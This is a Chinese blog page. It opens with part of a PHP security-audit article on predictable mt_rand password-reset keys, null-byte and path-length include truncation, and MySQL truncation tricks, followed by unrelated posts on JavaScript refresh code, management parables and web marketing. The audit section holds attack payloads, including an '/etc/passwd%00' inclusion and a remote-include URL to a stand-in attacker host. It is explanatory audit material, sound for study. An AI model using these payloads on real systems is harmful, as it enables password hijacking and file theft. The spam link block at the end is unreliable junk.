    mt_srand($seed);
    $testkey = wp_generate_password(20,false);
    if($testkey==$resetkey) { echo "o\n"; return $seed; }

    if(!($x % 10000)) echo $x / 10000;
    }
    echo "\n";
    return false;
    }
    ?>
    -------------------------------------------------------------------------------

        運行結果如下:

    -------------------------------------------------------------------------------
    php5>php rand.php
    M8pzpjwCrvVt3oobAaOr
    0123456789101112131415161718192021222324252627282930313233343536373839404142434
    445464748495051525354555657585960616263646566676869
    7071727374757677787980818283848586878889909192939495969798991001011021031041051
    061071081091101111121131141151161171181191201211221
    2312412512612712812913013113213313413513613713813914014114214314414514614714814
    915015115215315415515615715815916016116216316416516
    6167168169170171172173174175176177178179180181182183184185186187188189190191192
    193194195196197198199200201202203204205206207208209
    2102112122132142152162172182192202212222232242252262272282292302312322332342352
    362372382392402412422432442452462472482492502512522
    ..............01062110622106231062410625106261062710628106291063010631106321063
    3o
    70693
    pjwCrvVt3oobAaOr
    -------------------------------------------------------------------------------

        當10634次時候我們得到了結果。

        當PHP版本到了5.2.1后,通過修改算法修補了奇數和偶數的播種相等的問題,這樣也導致
    了php5.2.0前后導致同一個播種后的mt_rand()的值不一樣。比如:

    --code-------------------------------------------------------------------------
    <?php
    mt_srand(42);
    echo mt_rand();
    //php<=5.20 1387371436
    //php>5.20 1354439493
    ?>
    -------------------------------------------------------------------------------

        正是這個原因,也要求了我們的exp的運行環境:當目標>5.20時候,我們exp運行的環境也
    要是>5.20的版本,反過來也是一樣。

        從上面的測試及分析來看,php<5.26不管有沒有定義播種,mt_rand處理的數據都是不安
    全的。在web應用里很多都使用mt_rand來處理隨機的session,比如密碼找回功能等等,這樣
    的后果就是被攻擊者惡意利用直接修改密碼。

        很多著名的程序都產生了類似的漏洞如wordpress、phpbb、punbb等等。(在后面我們將
    實際分析下國內著名的bbs程序Discuz!的mt_srand導致的漏洞)

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:php4 php5<5.2.6
    系統要求:無
    審計策略:查找mt_srand/mt_rand
    +++++++++++++++++++++++++


    5.6 特殊字符

        其實“特殊字符”也沒有特定的標準定義,主要是在一些code hacking發揮著特殊重作用
    的一類字符。下面就舉幾個例子:
      
    5.6.1 截斷

        其中最有名的數大家都熟悉的null字符截斷。

    5.6.1.1 include截斷

    --code-------------------------------------------------------------------------
    <?php
    include $_GET['action'].".php";
    ?>
    -------------------------------------------------------------------------------

        提交“action=/etc/passwd%00”中的“%00”將截斷后面的“.php”,但是除了“%00”還有沒有
    其他的字符可以實現截斷使用呢?肯定有人想到了遠程包含的url里問號“?”的作用,通過提交
    “action=http://www.hacksite.com/evil-code.txt?”這里“?”實現了“偽截斷”:),好象這個
    看上去不是那么舒服那么我們簡單寫個代碼fuzz一下:

    --code-------------------------------------------------------------------------
    <?php
    ////////////////////
    ////var5.php代碼:
    ////include $_GET['action'].".php";
    ////print strlen(realpath("./"))+strlen($_GET['action']); 
    ///////////////////
    ini_set('max_execution_time', 0);
    $str='';
    for($i=0;$i<50000;$i++)
    {
    $str=$str."/";

    $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
    //1.txt里的代碼為print 'hi';
    if (strpos($resp, 'hi') !== false){
    print $i;
    exit;
    }
    }
    ?>
    -------------------------------------------------------------------------------

        經過測試字符“.”、“ /”或者2個字符的組合,在一定的長度時將被截斷,win系統和*nix
    的系統長度不一樣,當win下strlen(realpath("./"))+strlen($_GET['action'])的長度大于
    256時被截斷,對于*nix的長度是4 * 1024 = 4096。對于php.ini里設置遠程文件關閉的時候
    就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先發現])


    5.6.1.2 數據截斷
       
        對于很多web應用文件在很多功能是不容許重復數據的,比如用戶注冊功能等。一般的應
    用程序對于提交注冊的username和數據庫里已有的username對比是不是已經有重復數據,然
    而我們可以通過“數據截斷”等來饒過這些判斷,數據庫在處理時候產生截斷導致插入重復數
    據。
       
    1) Mysql SQL Column Truncation Vulnerabilities
      
        這個漏洞又是大牛Stefan Esser發現的(Stefan Esser是我的偶像:)),這個是由于mysql
    的sql_mode設置為default的時候,即沒有開啟STRICT_ALL_TABLES選項時,MySQL對于插入超
    長的值只會提示warning,而不是error(如果是error就插入不成功),這樣可能會導致一些截
    斷問題。測試如下:
       
    --code-------------------------------------------------------------------------
    mysql> insert into truncated_test(`username`,`password`) values("admin","pass");

    mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass");
    Query OK, 1 row affected, 1 warning (0.01 sec)

    mysql> select * from truncated_test;
    +----+------------+----------+
    | id | username   | password |
    +----+------------+----------+
    | 1 | admin      | pass     |
    | 2 | admin      | new_pass |
    +----+------------+----------+
    2 rows in set (0.00 sec)
    -------------------------------------------------------------------------------

    2) Mysql charset Truncation vulnerability
       
        這個漏洞是80sec發現的,當mysql進行數據存儲處理utf8等數據時對某些字符導致數據
    截斷。測試如下:
       
    --code-------------------------------------------------------------------------
    mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
    Query OK, 1 row affected, 1 warning (0.00 sec)

    mysql> select * from truncated_test;
    +----+------------+----------+
    | id | username   | password |
    +----+------------+----------+
    | 1 | admin      | pass      |
    | 2 | admin      | new_pass  |
    | 3 | admin      | new_pass2 |
    +----+------------+----------+
    2 rows in set (0.00 sec)
    -------------------------------------------------------------------------------
       
        很多的web應用程序沒有考慮到這些問題,只是在數據存儲前簡單查詢數據是否包含相同
    數據,如下代碼:

    --code-------------------------------------------------------------------------
    $result = mysql_query("SELECT * from test_user where user='$user' ");
      ....
    if(@mysql_fetch_array($result, MYSQL_NUM)) {
    die("already exist");
    }
    -------------------------------------------------------------------------------

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:通讀代碼
    +++++++++++++++++++++++++


    5.6.1.3 文件操作里的特殊字符
       
        文件操作里有很多特殊的字符,發揮特別的作用,很多web應用程序沒有注意處理這些字
    符而導致安全問題。比如很多人都知道的windows系統文件名對“空格”和“.”等的忽視,這個
    主要體現在上傳文件或者寫文件上,導致直接寫webshell。另外對于windows系統對“.\..\”
    進行系統轉跳等等。
       
        下面還給大家介紹一個非常有意思的問題:

    --code-------------------------------------------------------------------------
    //Is this code vul?
    if( eregi(".php",$url) ){
    die("ERR");
    }
    $fileurl=str_replace($webdb[www_url],"",$url);
    .....
    header('Content-Disposition: attachment; filename='.$filename);
    -------------------------------------------------------------------------------
       
        很多人看出來了上面的代碼的問題,程序首先禁止使用“.php”后綴。但是下面居然接了
    個str_replace替換$webdb[www_url]為空,那么我們提交“.p$webdb[www_url]hp”就可以饒過
    了。那么上面的代碼雜fix呢?有人給出了如下代碼:

    --code-------------------------------------------------------------------------
    $fileurl=str_replace($webdb[www_url],"",$url);
    if( eregi(".php",$url) ){
    die("ERR");
    }
    -------------------------------------------------------------------------------

        str_replace提到前面了,很完美的解決了str_replace代碼的安全問題,但是問題不是那
    么簡單,上面的代碼在某些系統上一樣可以突破。接下來我們先看看下面的代碼:

    --code-------------------------------------------------------------------------
    <?php
    for($i=0;$i<255;$i++) {
    $url = '1.ph'.chr($i);
    $tmp = @file_get_contents($url);
    if(!empty($tmp)) echo chr($i)."\r\n";

    ?>
    -------------------------------------------------------------------------------

        我們在windows系統運行上面的代碼得到如下字符* < > ? P p都可以打開目錄下的1.php。

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:文讀取件操作函數
    +++++++++++++++++++++++++


    六、怎么進一步尋找新的字典

        上面我們列舉很多的字典,但是很多都是已經公開過的漏洞或者方式,那么我們怎么進一
    步找到新的字典或者利用方式呢?

        * 分析和學習別人發現的漏洞或者exp,總結出漏洞類型及字典。
       
        * 通過學習php手冊或者官方文檔,挖掘出新的有危害的函數或者利用方式。
       
        * fuzz php的函數,找到新的有問題的函數(不一定非要溢出的),如上一章的4.6的部分
    很多都可以簡單的fuzz腳本可以測試出來。
       
        * 分析php源代碼,發現新的漏洞函數“特性”或者漏洞。(在上一節里介紹的那些“漏洞審
    計策略”里,都沒有php源代碼的分析,如果你要進一步找到新的字典,可以在php源代碼的基礎
    上分析下成因,然后根據這個成因來分析尋找新的漏洞函數“特性”或者漏洞。)(我們以后會
    陸續公布一些我們對php源代碼的分析)
       
        * 有條件或者機會和開發者學習,找到他們實現某些常用功能的代碼的缺陷或者容易忽
    視的問題
       
        * 你有什么要補充的嗎? :)
     

    七、DEMO

        * DEMO -- Discuz! Reset User Password 0day Vulnerability 分析
        (Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt)

        PHP版本要求:php4 php5<5.2.6
        系統要求: 無
        審計策略:查找mt_srand/mt_rand

        第一步 安裝Discuz! 6.1后利用grep查找mt_srand得到:

    -------------------------------------------------------------------------------
    heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5
    ./include/global.func.php-694-  $GLOBALS['rewritecompatible'] && $name = rawurlencode($name);
    ./include/global.func.php-695-  return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>';
    ./include/global.func.php-696-}
    ./include/global.func.php-697-
    ./include/global.func.php-698-function random($length, $numeric = 0) {
    ./include/global.func.php:699:  PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
    ./include/global.func.php-700-  if($numeric) {
    ./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));
    ./include/global.func.php-702-  } else {
    ./include/global.func.php-703-          $hash = '';
    ./include/global.func.php-704-          $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    --
    ./include/discuzcode.func.php-30-
    ./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {
    ./include/discuzcode.func.php-32-       @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';
    ./include/discuzcode.func.php-33-}
    ./include/discuzcode.func.php-34-
    ./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
    ./include/discuzcode.func.php-36-
    ./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {
    ./include/discuzcode.func.php-38-       global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;
    ./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['attachments'][$aid];
    ./include/discuzcode.func.php-40-       if($attach['attachimg']) {
    -------------------------------------------------------------------------------

        有兩個文件用到了mt_srand(),第1是在./include/global.func.php的隨機函數random()里:

    --code-------------------------------------------------------------------------
    PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
    -------------------------------------------------------------------------------

        判斷了版本,如果是PHP_VERSION > '4.2.0'使用php本身默認的播種。從上一章里的分
    析我們可以看得出來,使用php本身默認的播種的分程序兩種情況:

    1) 'Cross Application Attacks' 這個思路是只要目標上有使用使用的程序里定義了類似
    mt_srand((double)microtime() * 1000000)的播種的話,又很有可能被暴力。在dz這里不需
    要Cross Application,因為他本身有文件就定義了,就是上面的第2個文件:

    --code-------------------------------------------------------------------------
    ./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
    -------------------------------------------------------------------------------

        這里我們肯定dz是存在這個漏洞的,文章給出來的exp也就是基于這個的。(具體exp利用
    的流程有興趣的可以自己分析下])

    2) 有的人認為如果沒有mt_srand((double)microtime() * 1000000);這里的定義,那么dz就
    不存在漏洞,這個是不正確的。首先你不可以保證別人使用的其他應用程序沒有定義,再次不
    利用'Cross Application Attacks',5.2.6>php>4.2.0 php本身默認播種的算法也不是很強
    悍(分析詳見上),也是有可以暴力出來,只是速度要慢一點。


    八、后話

        本文是80vul的三大馬甲:80vul-A,80vul-B,80vul-C集體智慧的結晶,尤其是80vul-B貢
    獻了不少新發現。另外需要感謝的是文章里提到的那些漏洞的發現者,沒有他們的成果也就
    沒有本文。本文沒有寫“參考”,因為本文是一個總結性的文擋,有太多的連接需要提供限于篇
    幅就沒有一一列舉,有心的讀者可以自行google。另外原本沒有打算公布此文,因為里面包含
    了太多應用程序的0day,而且有太多的不尊重別人成果的人,老是利用從別人那學到的技術來
    炫耀,甚至牟取利益。在這里我們希望你可以在本文里學到些東西,更加希望如果通過本文你
    找到了某些應用程序的0day,請低調處理,或者直接提交給官方修補,謝謝大家!!


    九、附錄

    [1] http://bbs.phpchina.com/attachment.php?aid=22294
    [2] http://www.php-security.org/
    [3] http://bugs.php.net/bug.php?id=40114

    posted @ 2010-06-28 18:14 肖馬輝 閱讀(382) | 評論 (0)編輯 收藏

    2010年6月4日

    一、先來看一個簡單的例子:
            下面以三個頁面分別命名為frame.htmltop.htmlbottom.html為例來具體說明如何做。 
            
            frame.html 由上(top.html)下(bottom.html)兩個頁面組成,代碼如下:
     1<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
     2<HTML> 
     3<HEAD> 
     4<TITLE> frame </TITLE> 
     5</HEAD> 
     6<frameset rows="50%,50%"> 
     7   <frame name=top src="top.html"> 
     8   <frame name=bottom src="bottom.html"> 
     9</frameset> 
    10</HTML> 
         
            現在假設top.html (即上面的頁面) 有七個button來實現對bottom.html (即下面的頁面) 的刷新,可以用以下七種語句,哪個好用自己看著辦了。      
     1top.html 頁面的代碼如下: 
     2
     3<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
     4<HTML> 
     5<HEAD> 
     6<TITLE> top.html </TITLE> 
     7</HEAD> 
     8<BODY> 
     9  <input type=button value="刷新1" onclick="window.parent.frames[1].location.reload()"><br> 
    10  <input type=button value="刷新2" onclick="window.parent.frames.bottom.location.reload()"><br> 
    11  <input type=button value="刷新3" onclick="window.parent.frames['bottom'].location.reload()"><br>  
    12  <input type=button value="刷新4" onclick="window.parent.frames.item(1).location.reload()"><br> 
    13  <input type=button value="刷新5" onclick="window.parent.frames.item('bottom').location.reload()"><br> 
    14  <input type=button value="刷新6" onclick="window.parent.bottom.location.reload()"><br> 
    15  <input type=button value="刷新7" onclick="window.parent['bottom'].location.reload()"><br> 
    16</BODY> 
    17</HTML> 
    18
              
               下面是bottom.html頁面源代碼,為了證明下方頁面的確被刷新了,在裝載完頁面彈出一個對話框。  
     1
     2<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
     3<HTML> 
     4<HEAD> 
     5<TITLE> bottom.html </TITLE> 
     6</HEAD> 
     7<BODY onload="alert('我被加載了!')"> 
     8   <h1>This is the content in bottom.html.</h1> 
     9</BODY> 
    10</HTML> 

                  解釋一下:
    1.window指代的是當前頁面,例如對于此例它指的是top.html頁面。 
    2.parent指的是當前頁面的父頁面,也就是包含它的框架頁面。例如對于此例它指的是framedemo.html。 
    3.frames是window對象,是一個數組。代表著該框架內所有子頁面。 
    4.item是方法。返回數組里面的元素。 
    5.如果子頁面也是個框架頁面,里面還是其它的子頁面,那么上面的有些方法可能不行。 

    附: 

    Javascript刷新頁面的幾種方法: 
    1 history.go(0) 
    2 location.reload() 
    3 location=location 
    4 location.assign(location) 
    5 document.execCommand('Refresh') 
    6 window.navigate(location) 
    7 location.replace(location) 
    8 document.URL=location.href 

    二、自動刷新頁面
            1.頁面自動刷新:把如下代碼加入<head>區域中       
    <meta http-equiv="refresh" content="20"> 
    其中20指每隔20秒刷新一次頁面. 
           2.頁面自動跳轉:把如下代碼加入<head>區域中
    <meta http-equiv="refresh" content="20;url=http://xcp.blogjava.net"> 
    其中20指隔20秒后跳轉到http://xcp.blogjava.net頁面 
          3.頁面自動刷新js版
    <script language="JavaScript"> 
        
    function myrefresh() 
        

               window.location.reload(); 
        }
     
        setTimeout('myrefresh()',
    1000); //指定1秒刷新一次 
    </script> 


    三、java在寫Servler,Action等程序時,要操作返回頁面的話(如談出了窗口,操作完成以后,關閉當前頁面,刷新父頁面)
    1        PrintWriter out = response.getWriter();
    2        out.write("<script  type=\"text/javascript\">");
    3         ////子窗口刷新父窗口 
    4         out.write("self.opener.location.reload();"); 
    5         //關閉窗口
    6         out.write("window.opener=null;");
    7         out.write("window.close();");
    8         out.write("</script>");

    四、JS刷新框架的腳本語句
            1.如何刷新包含該框架的頁面用
    <script language=JavaScript> 
      parent.location.reload(); 
    </script> 
          
           2.子窗口刷新父窗口
    <script language=JavaScript> 
        self.opener.location.reload(); 
    </script> 
         
           3.如何刷新另一個框架的頁面用 (上面的實例以說明了)
    語句1. window.parent.frames[1].location.reload(); 
    語句2. window.parent.frames.bottom.location.reload(); 
    語句3. window.parent.frames[
    "bottom"].location.reload(); 
    語句4. window.parent.frames.item(
    1).location.reload(); 
    語句5. window.parent.frames.item('bottom').location.reload(); 
    語句6. window.parent.bottom.location.reload(); 
    語句7. window.parent['bottom'].location.reload(); 
        
           4.如果想關閉窗口時刷新或者想開窗時刷新的話,在<body>中調用以下語句即可。 
    <body onload="opener.location.reload()"> 開窗時刷新 
    <body onUnload="opener.location.reload()"> 關閉時刷新 
    <script language="javascript"> 
        window.opener.document.location.reload() 
    </script> 
    posted @ 2010-06-04 10:38 肖馬輝 閱讀(213) | 評論 (0)編輯 收藏

    2010年5月30日

    鏈接返回上一頁:
    <a href="javascript :history.back(-1)">返回上一頁</a>

    <a href="javascript :;" onClick="javascript :history.back(-1);">返回上一頁</a>

    按鈕返回上一頁:
    <input type="button" name="Submit" onclick="javascript:history.back(-1);" value="返回上一頁">

    圖片返回上一頁:
    <img src="圖片路徑" border="0" onclick="javascript:history.back(-1);" title="返回上一頁">
    posted @ 2010-05-30 17:18 肖馬輝 閱讀(1250) | 評論 (0)編輯 收藏

    2009年12月29日

    參禪之初:看山是山 看水是水
    初學程序開發時認為:C 是 C、VB 是 VB 都是要一個一個學的。

    禪有悟時:看山不是山 看水不是水
    等到漸漸地把開發語言運用純熟了,可以觸類旁通,發現以前學過的那些語言和將要新學的,總有這樣那樣的相通、相近、相似之處。任何一門語言,都能快速上手。在意識里語言已沒有差別,無非是語法與關鍵字的區別而已,語言已經不重要了。

    禪中徹悟:看山仍然是山 看水仍然是水
    過了很長時間才發現,那時自己遠沒有到達最高境界,才醒悟到以前所謂的掌握多種語言,其實還是只掌握了一門語言,就像《天龍八部》里的鳩摩智,以小無相神功,耍那少林七十二絕技,其實卻都不過是一套本事罷了。而且更為重要的是更加意識到要真正用好一門語言,發揮一門語言的長處,理解這門語言的思想內涵,實現細節是非常關鍵的。而實現細節是各個語言自身的特色,到頭來還是把不同的語言,當成不同的語言來使用。
    posted @ 2009-12-29 10:51 肖馬輝 閱讀(210) | 評論 (0)編輯 收藏
     
    袋鼠與籠子
          有一天動物園管理員們發現袋鼠從籠子里跑出來了,于是開會討論,一致認為是籠子的高度過低。所以它們決定將籠子的高度由原來的十公尺加高到二十公尺。結果第二天他們發現袋鼠還是跑到外面來,所以他們又決定再將高度加高到三十公尺。
          沒想到隔天居然又看到袋鼠全跑到外面,于是管理員們大為緊張,決定一不做二不休,將籠子的高度加高到一百公尺。
          一天長頸鹿和幾只袋鼠們在閑聊,“你們看,這些人會不會再繼續加高你們的籠子?”長頸鹿問。
          “很難說。”袋鼠說∶“如果他們再繼續忘記關門的話!”
          點評:事有“本末”、“輕重”、“緩急”,關門是本,加高籠子是末,舍本而逐末,當然就不得要領了。管理是什么?管理是抓事情的“本末”、“輕重”、“緩急”。



    扁鵲的醫術 
          魏文王問名醫扁鵲說∶“你們家兄弟三人,都精于醫術,到底哪一位最好呢?” 
          扁鵲答說∶“長兄最好,中兄次之,我最差。” 
          文王再問∶“那么為什么你最出名呢?” 
          扁鵲答說∶“我長兄治病,是治病于病情發作之前。由于一般人不知道他事先能鏟除病因,所以他的名氣無法傳出去,只有我們家的人才知道。我中兄治病,是治病于病情初起之時。一般人以為他只能治輕微的小病,所以他的名氣只及于本鄉里。而我扁鵲治病,是治病于病情嚴重之時。一般人都看到我在經脈上穿針管來放血、在皮膚上敷藥等大手術,所以以為我的醫術高明,名氣因此響遍全國。” 
          文王說∶“你說得好極了。” 
          點評:事后控制不如事中控制,事中控制不如事前控制,可惜大多數的事業經營者均未能體會到這一點,等到錯誤的決策造成了重大的損失才尋求彌補,有時是亡羊補牢,為時已晚。



    曲突徒薪 
          有位客人到某人家里作客,看見主人家的灶上煙囪是直的,旁邊又有很多木材。 
          客人告訴主人說,煙囪要改曲,木材須移去,否則將來可能會有火災,主人聽了沒有做任何表示。 
          不久主人家里果然失火,四周的鄰居趕緊跑來救火,最后火被撲滅了,于是主人烹羊宰牛,宴請四鄰,以酬謝他們救火的功勞,但是并沒有請當初建議他將木材移走,煙囪改曲的人。 
          有人對主人說∶“如果當初聽了那位先生的話,今天也不用準備筵席,而且沒有火災的損失,現在論功行賞,原先給你建議的人沒有被感恩,而救火的人卻是座上客,真是很奇怪的事呢!” 
          主人頓時省悟,趕緊去邀請當初給予建議的那個客人來吃酒。 
          點評:一般人認為,足以擺平或解決企業經營過程中的各種棘手問題的人,就是優秀的管理者,其實這是有待商榷的,俗話說∶“預防重于治療”,能防患于未然之前,更勝于治亂于已成之后,由此觀之,企業問題的預防者,其實是優于企業問題的解決者。


    秀才買材 
          有一個秀才去賣材,他對賣材的人說∶“荷薪者過來!”賣材的人聽不懂“荷薪者”(擔材的人)三個字,但是聽得懂“過來”兩個字,于是把材擔到秀才前面。 
          秀才問他∶“其價如何?”賣材的人聽不太懂這句話,但是聽得懂“價”這個字,于是就告訴秀才價錢。 
          秀才接著說∶“外實而內虛,煙多而焰少,請損之。(你的木材外表是干的,里頭卻是濕的,燃燒起來,會濃煙多而火焰小,請減些價錢吧。)”賣材的人因為聽不懂秀才的話,于是擔著材就走了。 
          點評:管理者平時最好用簡單的語言、易懂的言詞來傳達訊息,而且對于說話的對象、時機要有所掌握,有時過分的修飾反而達不到想要完成的目的。
    posted @ 2009-12-29 10:51 肖馬輝 閱讀(188) | 評論 (0)編輯 收藏
     
    一句話說SNS:通過網絡進行社會交往的系統。

    兩句話說SNS:通過網絡進行社會交往的系統。系統中可以衍生出多項有利于聯絡人的應用。

    三句話說SNS:通過網絡進行社會交往的系統。系統中可以衍生出多項有利于聯絡人的應用。這些應用可一對多也可以一對一。

    四句話說SNS:通過網絡進行社會交往的系統。系統中可以衍生出多項有利于聯絡人的應用。這些應用可一對多也可以一對一。用戶在其中收獲的僅僅是聯系而非傳統的信息。

    五句話說SNS:通過網絡進行社會交往的系統。系統中可以衍生出多項有利于聯絡人的應用。這些應用可一對多也可以一對一。用戶在其中收獲的僅僅是聯系而非傳統的信息。這些聯系在以往的網絡中實際已經存在且已成信息化關系。

    六句話說SNS
    :通過網絡進行社會交往的系統。系統中可以衍生出多項有利于聯絡人的應用。這些應用可一對多也可以一對一。用戶在其中收獲的僅僅是聯系而非傳統的信息。這些聯系在以往的網絡中實際已經存在且已成信息化關系。信息化關系可通過頁面和操作呈現出來。

    七句話說SNS
    :通過網絡進行社會交往的系統。系統中可以衍生出多項有利于聯絡人的應用。這些應用可一對多也可以一對一。用戶在其中收獲的僅僅是聯系而非傳統的信息。這些聯系在以往的網絡中實際已經存在且已成信息化關系。信息化關系可通過頁面和操作呈現出來。這種頁面多呈現從Web1.0到Web2.0的進步。
    posted @ 2009-12-29 10:50 肖馬輝 閱讀(206) | 評論 (0)編輯 收藏

    2009年11月20日

      在一年前的世界經濟論壇上,比爾·蓋茨曾預言五年內互聯網將“顛覆”電視的地位。而Google公司CEO埃里克則在兩年前預言:“能夠發揮互聯網全部潛力的候選人,將會在下一次總統大選中脫穎而出。”

      沒想到兩位IT巨匠的話都被應驗了。名不見經傳的黑人貝拉克·侯賽因·奧巴馬斜刺里殺出,一路過關斬將,成功晉級美國總統競選的“決賽”。

      政治觀察家們一致認為,奧巴馬得以擊敗希拉里,“網絡營銷”立下了汗馬功勞,他也因此被稱為“Web2.0時代的營銷大師”。奧巴馬是如何將原本默默無聞的“個人品牌”做成一個“世界知名品牌”的?

      帶著這個疑問反觀中國,中國互聯網絡信息中心(CNNIC)發布的《第22次中國互聯網絡發展狀況統計報告》顯示:截至2008年6月底,我國 網民數量達到了2.53億,首次大幅度超過美國,網民規模躍居世界第一位。如何調動全球最多的網民的神經,成為所有企業網絡營銷策劃時面臨的第一道課題。奧巴馬會給我們怎樣的啟示?在Web2.0時代企業如何做品牌,如何通過網絡營銷策劃推廣自己的產品?

      以“花樣游泳”勾引觀眾

      “我等不及2008年大選,寶貝,你是最好的候選人!你采取了邊境安全措施,打破你我之間的界限。全民醫療保險,嗯,這使我感到溫暖……”

      這是視頻網站Youtube上《奧巴馬令我神魂顛倒》的一段歌詞。在視頻中,身著比基尼的演唱者埃廷格搔首弄姿,在奧巴馬照片旁大擺性感熱辣造型,毫不掩飾地表達著自己對奧巴馬的傾慕之情。據統計,這段視頻在Youtube已被點擊超過900萬次,并且被無數的網站和傳統媒體轉載。

      一個不容爭辯事實的是,網絡營銷策劃成了本次美國大選影響民意的重要手段,那些數年前還不存在的傳播渠道如博客、Myspace社區、Youtube視頻,顯示出巨大影響力,就連肯尼迪、尼克松引以為豪的電視辯論都相形見絀。

      這不由想起在剛剛結束的北京奧運會上,花樣游泳、沙灘排球吸引了不少中國人觀看。在飽受幾千年封建思想洗禮的中國,這兩項運動終于讓普通老百姓大開眼界一睹其真面目。為什么受歡迎?因為其精美絕侖的動作能讓人眼花繚亂,甚至產生“意亂情迷”的幻想。

      網絡營銷策劃是什么?網絡營銷就是能讓人目不暇接、能讓人流連忘返、能讓人意亂情迷、能讓人改變初衷的在線營銷與品牌推廣。

      奧巴馬擊敗希拉里,招招不離互聯網可以看出網絡營銷策劃無處不在。奧巴馬對麥凱恩出招,又是招招不離互聯網。電子郵件、手機短信、視頻網站,不一而足。在奧巴馬的競選網站上,可以直接點擊觀看奧巴馬視頻,在線購買奧巴馬標記的產品,下載奧巴馬的演講作為手機鈴聲。奧巴馬玩轉網絡營銷策劃,像表演“花樣游泳”一樣牽引著網民手中的 鼠標。

      網絡營銷策劃不是幾個彈出的廣告,不是“BBS炒作”,而是一系列網絡推廣手段的整合。網絡營銷策劃是組合拳,是花樣游泳,得有一雙雙修長的美腿、一套漂亮的動作來“勾引”觀眾。

      組合投資可以分散風險,就要注重“二八原則”,但同時也不能忽視“長尾效應”。

      搜索引擎、BBS、視頻、電子雜志就是發揮著“八”作用的“二”,但是還有更多的“長尾”不容忽視,如博客、SNS、百度貼吧等。

      搜索引擎一度在網絡營銷策劃中發揮了顯赫作用,而隨著競價排名的透明化,用戶也開始擦亮眼睛。相比之下網絡BBS營銷則更加隱蔽而不至于讓人生厭,今年有“兩個一億元”不得不提。王老吉億元捐款“遭封殺”是比較成功的BBS營銷案例,而盤古大觀編造“蓋茨億元租樓看奧運”的假新聞在各大論壇進行炒 作,雖然知名度上去了,但是美譽度卻堪比腦白金。

      《一個饅頭引發的血案》最大限度地為《無極》做了推廣。前不久看到太平洋汽車網上一個視頻《希特勒怒罵邁騰上市》,利用名人希特勒正話反說,實 屬一絕,目前點擊已近20萬。七星購物在B2C領域知名度遠不及當當和卓越,甚至略遜于京東商城、紅孩子,而今年以來其通過商品視頻化的銷售方式,大幅提高了商品的關注度。一度被視作有“黃色嫌疑”的“美女視頻聊天”也得以成功應用,由美女導購員使用視頻聊天室的方式,直接向用戶展示商品或提供視頻導購服務,受到了空前的歡迎。

    正所謂“得終端者得天下”。有研究表明,導購員在終端的誘導購買,經常使顧客改變購買初衷。“視頻營銷”就宛如網絡終端的商品導購員,通過直接介紹、間接誘導等形式,巧妙嵌入品牌和產品信息。一段生動形象的視頻,可以使需求猶豫者更加堅定,使無需求者產生需求。上海悅普網絡可以幫助你進行網絡營銷讓你快速實現奧巴馬一樣的成績,網絡營銷策劃

        本文出自:上海悅普網絡,http://www.eshyp.com, 轉載請保留鏈接出處,謝謝配合。

    posted @ 2009-11-20 13:55 肖馬輝 閱讀(342) | 評論 (0)編輯 收藏
    僅列出標題  下一頁
     
    主站蜘蛛池模板: 三年片免费观看大全国语| 91精品国产免费久久国语麻豆| 亚洲国产精品综合久久网络 | 久久久久久a亚洲欧洲AV| 日本一卡精品视频免费| jiz zz在亚洲| 亚洲香蕉久久一区二区| 国产一区在线观看免费| 免费国产成人午夜在线观看| 亚洲综合精品伊人久久| 久久精品国产亚洲Aⅴ香蕉| 精品特级一级毛片免费观看| 亚洲好看的理论片电影| 日韩免费a级在线观看| a级毛片免费全部播放| 亚洲精品无码你懂的| 亚洲精品午夜无码电影网| aa毛片免费全部播放完整| 亚洲制服在线观看| 亚洲一区二区三区在线播放 | 国产亚洲一区二区三区在线观看| 特级做A爰片毛片免费69| 两个人看www免费视频| 亚洲高清乱码午夜电影网| 久久亚洲国产伦理| 全亚洲最新黄色特级网站| 91成人免费观看网站| a国产成人免费视频| 国产成人精品日本亚洲网站| 免费鲁丝片一级在线观看| 亚洲欧美日韩国产精品一区| 久久夜色精品国产亚洲AV动态图| 亚洲Av无码乱码在线znlu| 永久免费毛片在线播放| 免费高清国产视频| selaoban在线视频免费精品| 亚洲av最新在线观看网址| 亚洲成人午夜电影| 亚洲AV无码一区二区乱孑伦AS| 国产免费看插插插视频| 最新中文字幕免费视频|